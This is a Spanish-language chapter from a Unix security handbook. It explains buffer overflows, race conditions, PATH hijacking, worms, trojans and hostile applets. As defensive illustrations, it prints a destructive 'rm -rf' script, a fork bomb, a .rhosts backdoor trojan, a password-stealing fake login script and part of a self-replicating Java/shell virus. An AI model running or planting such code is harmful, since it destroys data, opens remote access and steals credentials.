Next: Auditoría del sistema
Up: Seguridad del sistema Previous: El
sistema de ficheros Índice
General
Subsecciones
En 1990 Barton P. Miller y un grupo de investigadores publicaron [MFS90],
un artículo en el que se mostraba que demasiadas herramientas estándar
(más del 25%) de Unix fallaban ante elementos tan simples como una entrada
anormal. Cinco años más tarde otro grupo de investigación,
dirigido también por Barton P. Miller, realizó el estudio [MKL$^$95], lamentablemente no publicado; las conclusiones
en este último estudio fueron sorprendentes: el sistema con las herramientas
más estables era Slackware Linux, un Unix gratuito y de código fuente
libre que presentaba una tasa de fallos muy inferior al de sistemas comerciales
como Solaris o IRIX. Aparte de este hecho anecdótico, era preocupante comprobar
como la mayoría de problemas descubiertos en 1990 seguía presente
en los sistemas Unix estudiados.
Aunque por fortuna la calidad del software ha mejorado mucho en los últimos
años6.1, y esa mejora lleva asociada una mejora en la robustez
del código, los fallos y errores de diseño en aplicaciones o en
el propio núcleo son una de las fuentes de amenazas a la seguridad de todo
sistema informático. Pero no sólo los errores son problemáticos,
sino que existen programas - como los virus - realizados en la mayoría
de situaciones no para realizar tareas útiles sino para comprometer la
seguridad de una máquina o de toda una red. Este tipo de programas sólamente
compromete la seguridad cuando afectan al administrador; si un virus infecta ficheros
de un usuario, o si éste ejecuta un troyano, sólo podrá perjudicarse
a sí mismo: podrá borrar sus ficheros, enviar correo en su nombre
o matar sus procesos, pero no hacer lo mismo con el resto de usuarios o el
root. El problema para la seguridad viene cuando es el propio administrador
quien utiliza programas contaminados por cualquier clase de fauna, y para evitar
esto hay una medida de protección básica: la prevención.
Es crucial que las actividades como administrador se reduzcan al mínimo,
ejecutando como usuario normal las tareas que no requieran de privilegios. Cuando
no quede más remedio que trabajar como root (por ejemplo a la hora
de instalar software en el sistema), no hemos de ejecutar nada que no
provenga de una fuente fiable, e incluso así tomar precauciones en caso
de que el programa realice funciones mínimamente delicadas para el sistema
operativo (por ejemplo, probarlo antes en una máquina de testeo, o en entornos
cerrados con chroot()). Es muy normal, sobre todo entre administradores
de Linux, el recomendar que no se ejecute nada sin haber leído previamente
el código fuente, o al menos que dicho código esté disponible;
esto, aunque es una solución perfecta al problema, es inaplicable en la
mayoría de situaciones. Por un lado, no todas las aplicaciones o sistemas
tienen su código abierto a sus usuarios, por lo que nos estaríamos
restringiendo a utilizar programas generalmente no comerciales - algo que quizás
no depende de nosotros, como administradores -. Por otro, resulta absurdo pensar
que un administrador tenga el tiempo necesario para leer (y lo más importante,
para comprobar) cada línea del código de todos los programas instalados
en sus máquinas.
La base fiable (o segura) de cómputo ( Trusted Computing Base, TCB)
es una característica de ciertos Unices que incrementa la seguridad del
sistema marcando ciertos elementos del mismo como 'seguros'. Aunque estos elementos
son básicamente el hardware y ciertos ficheros, la parte software
es mucho más importante para el administrador que la máquina física,
por lo que aquí hablaremos principalmente de ella. Los ficheros pertenecientes
a la base segura de cómputo, y la TCB en su conjunto, tratan de asegurar
al administrador que está ejecutando el programa que desea y no otro que
un intruso haya podido poner en su lugar (conteniendo, por ejemplo, un troyano).
La TCB implementa la política de seguridad del sistema inspeccionando y
vigilando las interacciones entre entidades (procesos) y objetos (principalmente
ficheros); dicha política suele consistir en un control de accesos y en
la reutilización de objetos (cómo debe inicializarse o desinstalarse
un objeto antes de ser reasignado).
Los ficheros con la marca de seguridad activada son generalmente el propio núcleo
del sistema operativo y archivos que mantienen datos relevantes para la seguridad,
contenidos en ciertos directorios como /tcb/ o /etc/auth/;
cualquier fichero nuevo o que pertenezca a la TCB pero que haya sido modificado
automáticamente tiene su marca desactivada. Puede ser activada o reactivada
por el administrador (por ejemplo, en AIX con la orden tcbck -a), aunque
en algunos sistemas para que un archivo pertenezca a la TCB tiene que haber sido
creado con programas que ya pertenecían a la TCB. Con este mecanismo se
trata de asegurar que nadie, y especialmente el root, va a ejecutar por
accidente código peligroso: si el administrador ha de ejecutar tareas sensibles
de cara a la seguridad, puede arrancar un intérprete de comandos seguro
(perteneciente a la TCB) que sólo le permitirá ejecutar programas
que estén en la base.
La comunicación entre la base fiable de cómputo y el usuario se
ha de realizar a través de lo que se denomina la ruta de comunicación
fiable ( Trusted Communication Path, TCP), ruta que se ha de invocar
mediante una combinación de teclas (por ejemplo, Ctrl-X
Ctrl-R en AIX) denominada SAK ( Secure Attention Key) siempre que
el usuario deba introducir datos que no deban ser comprometidos, como una clave.
Tras invocar a la ruta de comunicación fiable mediante la combinación
de teclas correspondiente el sistema operativo se ha de asegurar de que los programas
no fiables (los no incluidos en la TCB) no puedan acceder a la terminal desde
la que se ha introducido el SAK; una vez conseguido esto - generalmente a partir
de init - se solicitará al usuario en la terminal su login
y su password, y si ambos son correctos se lanzará un shell
fiable ( tsh), que sólo ejecutará programas miembros de
la TCB (algo que es muy útil por ejemplo para establecer un entorno seguro
para la administración del sistema, si el usuario es el root).
Desde el punto de vista del usuario, tras pulsar el SAK lo único que aparecerá
será un prompt solicitando el login y la clave; si en lugar
de esto aparece el símbolo de tsh, significa que alguien ha intentado
robar nuestra contraseña: deberemos averiguar quién está
haciendo uso de esa terminal (por ejemplo mediante who) y notificarlo
al administrador - o tomar las medidas oportunas si ese administrador somos nosotros
-.
A pesar de la utilidad de la TCB, es recomendable recordar que un fichero incluido
en ella, con la marca activada, no siempre es garantía de seguridad; como
todos los mecanismos existentes, la base fiable de cómputo está
pensada para utilizarse junto a otros mecanismos, y no en lugar de
ellos.
Errores en los programas
Los errores o bugs a la hora de programar código de aplicaciones
o del propio núcleo de Unix constituyen una de las amenazas a la seguridad
que más quebraderos de cabeza proporciona a la comunidad de la seguridad
informática. En la mayoría de situaciones no se trata de desconocimiento
a la hora de realizar programas seguros, sino del hecho que es prácticamente
imposible no equivocarse en miles de líneas de código: simplemente
el núcleo de Minix, un mini-Unix diseñado por Andrew Tanenbaum ([Tan91]) con fines docentes, tiene más de 13000
líneas de código en su versión 1.0.
Cuando un error sucede en un programa que se ejecuta en modo usuario el único
problema que suele causar es la inconveniencia para quien lo estaba utilizando.
Por ejemplo, imaginemos un acceso no autorizado a memoria por parte de cierta
aplicación; el sistema operativo detectará que se intenta violar
la seguridad del sistema y finalizará el programa enviándole la
señal SIGSEGV. Pero si ese mismo error sucede en un programa
que corre con privilegios de root - por ejemplo, un ejecutable setuidado
-, un atacante puede aprovechar el fallo para ejecutar código malicioso
que el programa a priori no debía ejecutar. Y si un error similar
se produce en el código del kernel del sistema operativo, las consecuencias
son incluso peores: se podría llegar a producir un Kernel Panic
o, dicho de otra forma, la parada súbita de la máquina en la mayoría
de situaciones; el error más grave que se puede generar en Unix.
Seguramente uno de los errores más comunes, y sin duda el más conocido
y utilizado es el stack smashing o desbordamiento de pila, también
conocido por buffer overflow6.2; aunque el gusano de Robert T. Morris (1988) ya
lo utilizaba, no fué hasta 1997 cuando este fallo se hizo realmente popular
a raíz de [One96]. A pesar de que alguien pueda pensar que en
todo el tiempo trascurrido hasta hoy en día los problemas de buffer
overflow estarán solucionados, o al menos controlados, aún se
ven con frecuencia alertas sobre programas que se ven afectados por desbordamientos
(justamente hoy, 28 de febrero del 2000, han llegado a la lista BUGTRAQ
un par de programas que aprovechaban estos errores para aumentar el nivel de privilegio
de un usuario en el sistema). Aunque cada vez los programas son más seguros,
especialmente los setuidados, es casi seguro que un potencial atacante
que acceda a nuestro sistema va a intentar - si no lo ha hecho ya - conseguir
privilegios de administrador a través de un buffer overflow.
La idea del stack smashing es sencilla: en algunas implementaciones de
C es posible corromper la pila de ejecución de un programa escribiendo
más allá de los límites de un array declarado auto
en una función; esto puede causar que la dirección de retorno de
dicha función sea una dirección aleatoria. Esto, unido a permisos
de los ficheros ejecutables en Unix (principalmente a los bits de SetUID y SetGID),
hace que el sistema operativo pueda otorgar acceso root a usuarios sin
privilegios. Por ejemplo, imaginemos una función que trate de copiar con
strcpy() un array de 200 caracteres en uno de 20: al ejecutar el programa,
se generará una violación de segmento (y por tanto el clásico
core dump al que los usuarios de Unix estamos acostumbrados). Se ha producido
una sobreescritura de la dirección de retorno de la función; si
logramos que esta sobreescritura no sea aleatoria sino que apunte a un código
concreto (habitualmente el código de un shell), dicho código
se va a ejecutar.
¿Cuál es el problema? El problema reside en los ficheros setuidados
y setgidados; recordemos que cuando alguien los ejecuta, está trabajando
con los privilegios de quien los creó, y todo lo que ejecute lo hace con
esos privilegios...incluido el código que se ha insertado en la dirección
de retorno de nuestra función problemática. Si como hemos dicho,
este código es el de un intérprete de comandos y el fichero pertenece
al administrador, el atacante consigue ejecutar un shell con privilegios
de root.
Existen multitud de exploits (programas que aprovechan un error en otro
programa para violar la política de seguridad del sistema) disponibles
en Internet, para casi todas las variantes de Unix y que incluyen el código
necesario para ejecutar shells sobre cualquier operativo y arquitectura.
Para minimizar el impacto que los desbordamientos pueden causar en nuestro sistema
es necesaria una colaboración entre fabricantes, administradores y programadores
([Ins97], [Smi97]...). Los primeros han de tratar de verificar
más la robustez de los programas críticos antes de distribuirlos,
mientras que los administradores han de mantener al mínimo el número
de ficheros setuidados o setgidados en sus sistemas y los programadores
tienen que esforzarse en generar código con menos puntos de desbordamiento;
en [CWP$^$00] se pueden encontrar algunas líneas
a tener en cuenta en la prevención de buffer overflows.
Otro error muy conocido en el mundo de los sistemas operativos son las condiciones
de carrera, situaciones en las que dos o más procesos leen o escriben en
un área compartida y el resultado final depende de los instantes de ejecución
de cada uno ([Tan91]). Cuando una situación
de este tipo se produce y acciones que deberían ser atómicas no
lo son, existe un intervalo de tiempo durante el que un atacante puede obtener
privilegios, leer y escribir ficheros protegidos, y en definitiva violar las políticas
de seguridad del sistema ([Bis95]).
Por ejemplo, imaginemos un programa setuidado perteneciente a root
que almacene información en un fichero propiedad del usuario que está
ejecutando el programa; seguramente el código contendrá unas líneas
similares a las siguientes (no se ha incluido la comprobación básica
de errores por motivos de claridad):
if(access(fichero, W_OK)==0){
open();
write();
}
En una ejecución normal, si el usuario no tiene privilegios suficientes
para escribir en el fichero, la llamada a access() devolverá
-1 y no se permitirá la escritura. Si esta llamada no falla
open() tampoco lo hará, ya que el UID efectivo con que se está
ejecutando el programa es el del root; así nos estamos asegurando
que el programa escriba en el fichero si y sólo si el usuario que lo ejecuta
puede hacerlo - sin privilegios adicionales por el setuid -. Pero, ¿qué
sucede si el fichero cambia entre la llamada a access() y las siguientes?
El programa estará escribiendo en un archivo sobre el que no se han realizado
las comprobaciones necesarias para garantizar la seguridad. Por ejemplo, imaginemos
que tras la llamada a access(), y justo antes de que se ejecute
open(), el usuario borra el fichero referenciado y enlaza /etc/passwd
con el mismo nombre: el programa estará escribiendo información
en el fichero de contraseñas.
Este tipo de situación, en la que un programa comprueba una propiedad de
un objeto y luego ejecuta determinada acción asumiendo que la propiedad
se mantiene, cuando realmente no es así, se denomina TOCTTOU ( Time
of check to time of use). ¿Qué se puede hacer para evitarla?
El propio sistema operativo nos da las diferentes soluciones al problema ([BD96]). Por ejemplo, podemos utilizar descriptores
de fichero en lugar de nombres: en nuestro caso, deberíamos utilizar una
variante de la llamada access() que trabaje con descriptores en lugar
de nombres de archivo (no es algo que exista realmente, sería necesario
modificar el núcleo del operativo para conseguirlo); con esto conseguimos
que aunque se modifique el nombre del fichero, el objeto al que accedemos sea
el mismo durante todo el tiempo. Además, es conveniente invertir el orden
de las llamadas (invocar primero a open() y después a nuestra
variante de access()); de esta forma, el código anterior quedaría
como sigue:
if((fd=open(fichero, O_WRONLY))==NULL){
if (access2(fileno(fp),W_OK)==0){
write();
}
}
No obstante, existen llamadas que utilizan nombres de fichero y no tienen un equivalente
que utilice descriptores; para no tener que reprogramar todo el núcleo
de Unix, existe una segunda solución que cubre también a estas llamadas:
asociar un descriptor y un nombre de fichero sin restringir el modo de acceso.
Para esto se utilizaría un modo especial de apertura, O_ACCESS
- que sería necesario implementar -, en lugar de los clásicos
O_RDONLY, O_WRONLY o O_RDWR; este nuevo modo garantizaría
que si el objeto existe se haría sobre él un open() habitual
pero sin derecho de escritura o lectura (sería necesario efectuar una segunda
llamada a la función, con los parámetros adecuados), y si no existe
se reserva un nombre y un inodo de tipo 'reservado', un tipo de transición
que posteriormente sería necesario convertir en un tipo de fichero habitual
en Unix (directorio, socket, enlace...) con las llamadas correspondientes.
En el punto anterior hemos hablado de problemas de seguridad derivados de errores
o descuidos a la hora de programar; sin embargo, no todas las amenazas lógicas
provienen de simples errores: ciertos programas, denominados en su conjunto
malware o software malicioso, son creados con la intención
principal de atacar a la seguridad6.3. En esta sección vamos
a hablar de algunos tipos de malware, sus características y sus
efectos potenciales.
Para prevenir casi todo el software malicioso que pueda afectar a nuestros
sistemas es necesaria una buena concienciación de los usuarios: bajo ningún
concepto han de ejecutar software que no provenga de fuentes fiables,
especialmente programas descargados de páginas underground o ficheros
enviados a través de IRC. Evidentemente, esto se ha de aplicar
- y con más rigor - al administrador de la máquina; si un usuario
ejecuta un programa que contiene un virus o un troyano, es casi imposible que
afecte al resto del sistema: en todo caso el propio usuario, o sus ficheros, serán
los únicos perjudicados. Si es el root quien ejecuta el programa
contaminado, cualquier archivo del sistema puede contagiarse - virus - o las acciones
destructivas del malware - troyano - afectarán sin límites
a todos los recursos del sistema. Aparte de descargar el software de fuentes
fiables, es recomendable utilizar las 'huellas' de todos los programas
(generalmente resúmenes MD5 de los ficheros) para verificar
que hemos bajado el archivo legítimo; también es preferible descargar
el código fuente y compilar nosotros mismos los programas: aparte de cuestiones
de eficiencia, siempre tenemos la posibilidad de revisar el código en busca
de potenciales problemas de seguridad.
Otra medida de seguridad muy importante es la correcta asignación de la
variable de entorno $PATH, especialmente para el administrador del sistema.
Esta variable está formada por todos los directorios en los que el
shell buscará comandos para ejecutarlos; podemos visualizar su contenido
mediante la siguiente orden:
anita:~# echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Cuando un usuario teclea una órden en la línea de comandos, el
shell busca en cada uno de estos directorios un ejecutable con el mismo nombre
que el tecleado; si lo encuentra, lo ejecuta sin más, y si no lo encuentra
se produce un mensaje de error (el clásico 'command not found').
Esta búsqueda se realiza en el orden en que aparecen los directorios del
$PATH: si por ejemplo se hubiera tecleado 'ls', en nuestro caso
se buscaría en primer lugar /sbin/ls; como - seguramente - no
existirá, se pasará al siguiente directorio de la variable, esto
es, se intentará ejecutar /usr/sbin/ls. Este fichero tampoco
ha de existir, por lo que se intentará de nuevo con /bin/ls,
la ubicación normal del programa, y se ejecutará este fichero.
¿Qué problema hay con esta variable? Muy sencillo: para que sea
mínimamente aceptable, ninguno de los directorios del $PATH ha
de poseer permiso de escritura para los usuarios normales; esto incluye evidentemente
directorios como /tmp/, pero también otro que a primera vista
puede no tener mucho sentido: el directorio actual, '.'. Imaginemos
la siguiente situación: el root de un sistema Unix tiene incluido
en su variable $PATH el directorio actual como uno más donde buscar
ejecutables; esto es algo muy habitual por cuestiones de comodidad. Por ejemplo,
la variable de entorno puede tener el siguiente contenido:
anita:~# echo $PATH
.:/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/usr/local/sbin:
/usr/dt/bin:/usr/openwin/bin:/usr/share/texmf/bin
anita:~#
Si este administrador desea comprobar el contenido del directorio /tmp/,
o el de $HOME de alguno de sus usuarios (recordemos, directorios donde
pueden escribir), seguramente irá a dicho directorio y ejecutará
un simple ls. Pero, ¿qué sucede si el '.' está
en primer lugar en la variable $PATH? El shell buscará
en primer lugar en el directorio actual, por ejemplo /tmp/, de forma
que si ahí existe un ejecutable denominado 'ls', se ejecutará
sin más: teniendo en cuenta que cualquiera puede escribir en el directorio,
ese programa puede tener el siguiente contenido:
anita:~# cat /tmp/ls
#!/bin/sh
rm -rf /usr/ &
anita:~#
Como podemos ver, un inocente 'ls' puede destruir parte del sistema
de ficheros - o todo -, simplemente porque el administrador no ha tenido la precaución
de eliminar de su $PATH directorios donde los usuarios puedan escribir.
Seguramente alguien encontrará una solución - falsa - a este problema:
si la cuestión reside en el orden de búsqueda, ¿por qué
no poner el directorio actual al final del $PATH, depués de todos
los directorios fiables? De esta forma, el programa ./ls no se ejecutará
nunca, ya que antes el shell va a encontrar con toda seguridad al programa
legítimo, /bin/ls. Evidentemente esto es así, pero es
fácil comprobar que el problema persiste: imaginemos que estamos en esa
situación, y ahora tecleamos en /tmp/ la orden ls
more. No ocurrirá
nada anormal, ya que tanto 'ls' como 'more' son programas
que el shell ejecutará antes de analizar '.'. Pero, ¿qué
pasaría si nos equivocamos al teclear, y en lugar de 'more' escribimos
'moer'? Al fin y al cabo, no es un ejemplo tan rebuscado, esto seguramente
le ha pasado a cualquier usuario de Unix; si esto ocurre así, el intérprete
de órdenes no encontrará ningún programa que se llame
'moer' en el $PATH, por lo que se generará un mensaje de error...¿Ninguno?
¿Y si un usuario ha creado /tmp/moer, con un contenido similar
al /tmp/ls anterior? De nuevo nos encontramos ante el mismo problema:
una orden tan inocente como esta puede afectar gravemente a la integridad de nuestras
máquinas. Visto esto, parece claro que bajo ningún concepto se ha
de tener un directorio en el que los usuarios puedan escribir, ni siquiera el
directorio actual ('.') en la variable $PATH.
Un virus es una secuencia de código que se inserta en un fichero ejecutable
denominado host, de forma que al ejecutar el programa también se
ejecuta el virus; generalmente esta ejecución implica la copia del código
viral - o una modificación del mismo - en otros programas. El virus necesita
obligatoriamente un programa donde insertarse para poderse ejecutar, por lo que
no se puede considerar un programa o proceso independiente.
Durante años, un debate típico entre la comunidad de la seguridad
informática es la existencia de virus en Unix ([Rad92],
[Rad93], [Rad95]...). ¿Existen virus en este entorno,
o por el contrario son un producto de otros sistemas en los que el concepto de
seguridad se pierde? Realmente existen virus sobre plataformas Unix capaces de
reproducirse e infectar ficheros, tanto ELF como shellscripts: ya en 1983
Fred Cohen diseñó un virus que se ejecutaba con éxito sobre
Unix en una VAX 11-750 ([Coh84]); años más tarde, en artículos
como [Duf89] o [McI89] se ha mostrado incluso el código necesario
para la infección.
Parece claro que la existencia de virus en Unix es algo sobradamente comprobado;
entonces, ¿dónde está el debate? La discusión se centra
en hasta qué punto un virus para Unix puede comprometer la seguridad del
sistema; generalmente, la existencia de estos virus y sus efectos no suelen ser
muy perjudiciales en los sistemas Unix de hoy en día. Se suele tratar de
código escrito únicamente como curiosidad científica, ya
que cualquier acción que realice un virus es en general más fácilmente
realizable por otros medios como un simple exploit; de hecho, uno de los
primeros virus para Unix (en términos puristas se podría considerar
un troyano más que un virus) fué creado por uno de los propios diseñadores
del sistema operativo, Ken Thompson ([Tho84]),
con el fin no de dañar al sistema, sino de mostrar hasta qué punto
se puede confiar en el software de una máquina.
El término gusano, acuñado en 1975 en la obra de ciencia ficción
de John Brunner The Shockwave Rider hace referencia a programas capaces
de viajar por sí mismos a través de redes de computadores para realizar
cualquier actividad una vez alcanzada una máquina; aunque esta actividad
no tiene por qué entrañar peligro, los gusanos pueden instalar en
el sistema alcanzado un virus, atacar a este sistema como haría un intruso,
o simplemente consumir excesivas cantidades de ancho de banda en la red afectada.
Aunque se trata de malware muchísimo menos habitual que por ejemplo
los virus o las puertas traseras, ya que escribir un gusano peligroso es una tarea
muy difícil, los gusanos son una de las amenazas que potencialmente puede
causar mayores daños: no debemos olvidar que el mayor incidente de seguridad
de la historia de Unix e Internet fué a causa de un gusano (el famoso
Worm de 1988).
Antes del Worm de Robert T. Morris existieron otros gusanos con fines
muy diferentes; a principios de los setenta Bob Thomas escribió lo que
muchos consideran el primer gusano informático. Este programa, denominado
'creeper', no era ni mucho menos malware, sino que era utilizado
en los aeropuertos por los controladores aéreos para notificar que el control
de determinado avión había pasado de un ordenador a otro. Otros
ejemplos de gusanos útiles fueron los desarrollados a principios de los
ochenta por John Shoch y Jon Hupp, del centro de investigación de Xerox
en Palo Alto, California; estos worms se dedicaron a tareas como el intercambio
de mensajes entre sistemas o el aprovechamiento de recursos ociosos durante la
noche ([SH82]). Todo funcionaba aparentemente
bien, hasta que una mañana al llegar al centro ningún ordenador
funcionó debido a un error en uno de los gusanos; al reiniciar los sistemas,
inmediatamente volvieron a fallar porque el gusano seguía trabajando, por
lo que fué necesario diseñar una vacuna. Este es considerado el
primer incidente de seguridad en el que entraban worms en juego.
Sin embargo, no fué hasta 1988 cuando se produjo el primer incidente de
seguridad 'serio' provocado por un gusano, que a la larga se ha convertido en
el primer problema de seguridad informática que saltó a los medios
([Mar88a], [Mar88b], [Roy88]...) y también en el más grave
- civil, al menos - de todos los tiempos. El 2 de noviembre de ese año,
Robert T. Morris saltó a la fama cuando uno de sus programas se convirtió
en 'el Gusano' con mayúsculas, en el Worm de Internet. La principal
causa del problema fué la filosofía 'Security through Obscurity'
que muchos aún defienden hoy en día: este joven estudiante era hijo
del prestigioso científico Robert Morris, experto en Unix y seguridad -
entre otros lugares, ha trabajado por ejemplo para el National Computer Security
Center estadounidense -, quien conocía perfectamente uno de los muchos
fallos en Sendmail. No hizo público este fallo ni su solución,
y su hijo aprovechó ese conocimiento para incorporarlo a su gusano (se
puede leer parte de esta fascinante historia en [Sto89]).
El Worm aprovechaba varias vulnerabilidades en programas como sendmail,
fingerd, rsh y rexecd ([See89])
para acceder a un sistema, contaminarlo, y desde él seguir actuando hacia
otras máquinas (en [Spa88], [ER89] o [Spa91a] se pueden encontrar detalles concretos del
funcionamiento de este gusano). En unas horas, miles de equipos conectados a la
red dejaron de funcionar ([Spa89]), todos presentando una sobrecarga de procesos
sh (el nombre camuflado del gusano en los sistemas Unix); reiniciar
el sistema no era ninguna solución, porque tras unos minutos de funcionamiento
el sistema volvía a presentar el mismo problema.
Fueron necesarias muchas horas de trabajo para poder detener el Worm de
Robert T. Morris; expertos de dos grandes universidades norteamericanas, el MIT
y Berkeley, fueron capaces de desensamblar el código y proporcionar una
solución al problema. Junto a ellos, cientos de administradores y programadores
de todo el mundo colaboraron ininterrumpidamente durante varios días para
analizar cómo se habían contaminado y cuáles eran los efectos
que el gusano había causado en sus sistemas. El día 8 de noviembre,
casi una semana después del ataque, expertos en seguridad de casi todos
los ámbitos de la vida estadounidense se reunieron para aclarar qué
es lo que pasó exactamente, cómo se había resuelto, cuáles
eran las consecuencias y cómo se podía evitar que sucediera algo
parecido en el futuro; allí había desde investigadores del MIT o
Berkeley hasta miembros de la CIA, el Departamento de Energía o el Laboratorio
de Investigación Balística, pasando por supuesto por miembros del
National Computer Security Center, organizador del evento. Esta reunión,
y el incidente en sí, marcaron un antes y un después en la historia
de la seguridad informática; la sociedad en general y los investigadores
en particular tomaron conciencia del grave problema que suponía un ataque
de esa envergadura, y a partir de ahí comenzaron a surgir organizaciones
como el CERT, encargadas de velar por la seguridad de los sistemas informáticos.
También se determinaron medidas de prevención que siguen vigentes
hoy en día, de forma que otros ataques de gusanos no han sido tan espectaculares:
a finales de 1989 un gusano llamado wank, que a diferencia del de Morris
era destructivo, no tuvo ni de lejos las repercusiones que éste. Desde
entonces, no ha habido ninguna noticia importante - al menos publicada por el
CERT - de gusanos en entornos Unix.
Los conejos o bacterias son programas que de forma directa no dañan al
sistema, sino que se limitan a reproducirse, generalmente de forma exponencial,
hasta que la cantidad de recursos consumidos (procesador, memoria, disco...) se
convierte en una negación de servicio para el sistema afectado. Por ejemplo,
imaginemos una máquina Unix sin una quota de procesos establecida;
cualquier usuario podría ejecutar un código como el siguiente:
main(){
while(1){
malloc(1024);
fork();
}
}
Este programa reservaría un kilobyte de memoria y a continuación
crearía una copia de él mismo; el programa original y la copia repetirían
estas acciones, generando cuatro copias en memoria que volverían a hacer
lo mismo. Así, tras un intervalo de ejecución, el código
anterior consumiría toda la memoria del sistema, pudiendo provocar incluso
su parada.
La mejor forma de prevenir ataques de conejos (o simples errores en los programas,
que hagan que éstos consuman excesivos recursos) es utilizar las facilidades
que los núcleos de cualquier Unix moderno ofrecen para limitar los recursos
que un determinado proceso o usuario puede llegar a consumir en nuestro sistema;
en el capítulo 9 se repasan algunos
de los parámetros necesarios para realizar esta tarea sobre diversos clones
del sistema Unix.
En el libro VIII de La Odisea de Homero se cuenta la historia de que los griegos,
tras mucho tiempo de asedio a la ciudad de Troya, decidieron construir un gran
caballo de madera en cuyo interior se escondieron unos cuantos soldados; el resto
del ejército griego abandonó el asedio dejando allí el caballo,
y al darse cuenta de que el sitio a su ciudad había acabado, los troyanos
salieron a inspeccionar ese gran caballo de madera. Lo tomaron como una muestra
de su victoria y lo introdujeron tras las murallas de la ciudad sin darse cuenta
de lo que realmente había en él. Cuando los troyanos estaban celebrando
el fin del asedio, del interior del caballo salieron los soldados griegos, que
abrieron las puertas de la ciudad al resto de su ejército - que había
vuelto al lugar - y pudieron de esta forma conquistar la ciudad de Troya.
De la misma forma que el antiguo caballo de Troya de la mitología griega
escondía en su interior algo que los troyanos desconocían, y que
tenía una función muy diferente a la que ellos pensaban, un troyano
o caballo de Troya actual es un programa que aparentemente realiza una función
útil para quién lo ejecuta, pero que en realidad - o aparte - realiza
una función que el usuario desconoce, generalmente dañina. Por ejemplo,
un usuario que posea el suficiente privilegio en el sistema puede renombrar el
editor vi como vi.old, y crear un programa denominado
vi como el siguiente:
#!/bin/sh
echo "++">$HOME/.rhosts
vi.old $1
Si esto sucede, cuando alguien trate de editar un fichero automáticamente
va a crear un fichero .rhosts en su directorio de usuario, que permitirá
a un atacante acceder de una forma sencilla al sistema utilizando las órdenes
r-
de Unix BSD.
Los troyanos son quizás el malware más difundido en cualquier
tipo de entorno ([KT97]), incluyendo por supuesto a Unix; sus variantes
incluyen incluso ejemplos graciosos: ha habido casos en los que comenta un potencial
problema de seguridad - real - en una lista de correo y se acompaña la
descripción de un shellscript que en principio aprovecha dicho
problema para conseguir privilegios de root. En ese exploit se
ha incluido, convenientemente camuflada, una sentencia similar a la siguiente:
echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail \
-s "`echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk`" root
De esta forma, cuando un script kiddie ejecute el programa para conseguir
privilegios en el sistema, sin darse cuenta automáticamente lo estará
notificando al administrador del mismo; evidentemente el exploit suele
ser falso y no da ningún privilegio adicional, simplemente sirve para que
el root sepa qué usuarios están 'jugando' con la seguridad
de sus máquinas.
Por desgracia, estos troyanos inofensivos no son los más comunes; existen
también ejemplos de caballos de Troya dañinos: sin duda el ejemplo
típico de troyano (tan típico que ha recibido un nombre especial:
trojan mule o mula de Troya ([Tom94])) es el falso programa de login. Nada
más encender una terminal de una máquina Unix aparece el clásico
mensaje 'login:' solicitando nuestro nombre de usuario y contraseña,
datos que con toda seguridad la persona que enciende este dispositivo tecleará
para poder acceder al sistema. Pero, ¿qué sucedería si el
programa que imprime el mensaje en pantalla es un troyano? Cualquier usuario del
sistema puede crear un código que muestre un mensaje similar, guarde la
información leída de teclado (el login y el password)
e invoque después al programa login original; tras la primera
lectura, se mostrará el también clásico mensaje 'Login
incorrect', de forma que el usuario pensará que ha tecleado mal sus
datos - nada extraño, al fin y al cabo -. Cuando el programa original se
ejecute, se permitirá el acceso al sistema y ese usuario no habrá
notado nada anormal, pero alguien acaba de registrar su login y su contraseña.
Un troyano de este tipo es tan sencillo que se puede hacer - de forma simplificada
- en unas pocas líneas de shellscript:
luisa:~$ cat trojan
clear
printf "`uname -n` login: "
read login
stty -echonl -echo
printf "Password: "
read pass
echo "$login : $pass" >>/tmp/.claves
printf "\nLogin incorrect"
echo
exec /bin/login
luisa:~$
El atacante no necesita más que dejar lanzado el programa en varias terminales
del sistema y esperar tranquilamente a que los usuarios vayan tecleando sus
logins y passwords, que se guardarán en /tmp/.claves;
evidentemente este ejemplo de troyano es muy simple, pero es suficiente para hacernos
una idea del perjuicio que estos programas pueden producir en una máquina
Unix. En los últimos años han aparecido caballos de Troya mucho
más elaborados en diversas utilidades de Unix, incluso en aplicaciones
relacionadas con la seguridad como TCP Wrappers; en [CER99]
se pueden encontrar referencias a algunos de ellos.
La forma más fácil de descubrir caballos de Troya (aparte de sufrir
sus efectos una vez activado) es comparar los ficheros bajo sospecha con una copia
de los originales, copia que evidentemente se ha de haber efectuado antes de poner
el sistema en funcionamiento y debe haber sido guardada en un lugar seguro, para
evitar así que el atacante modifique también la versión de
nuestro backup. También es recomendable - como sucede con el resto
de malware - realizar resúmenes MD5 de nuestros
programas y compararlos con los resúmenes originales; esto, que muchas
veces es ignorado, puede ser una excelente solución para prevenir la amenaza
de los caballos de Troya.
En los últimos años, con la proliferación de la web,
Java y Javascript, una nueva forma de malware se ha hecho popular. Se
trata de los denominados applets hostiles, applets que al ser
descargados intentan monopolizar o explotar los recursos del sistema de una forma
inapropiada ([MF96]); esto incluye desde ataques
clásicos como negaciones de servicio o ejecución remota de programas
en la máquina cliente hasta amenazas mucho más elaboradas, como
difusión de virus, ruptura lógica de cortafuegos o utilización
de recursos remotos para grandes cálculos científicos.
Como ejemplo de applet hostil - aunque este en concreto no es muy peligroso
- tenemos el siguiente código, obra de Mark D. LaDue (1996):
anita:~/Security# cat Homer.java
import java.io.*;
class Homer {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new
FileOutputStream(userHome + "/.homer.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"Java is safe, and UNIX viruses do not exist.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
homer.getBytes(0, homer.length(), buffer, 0);
outer.write(buffer);
outer.close();
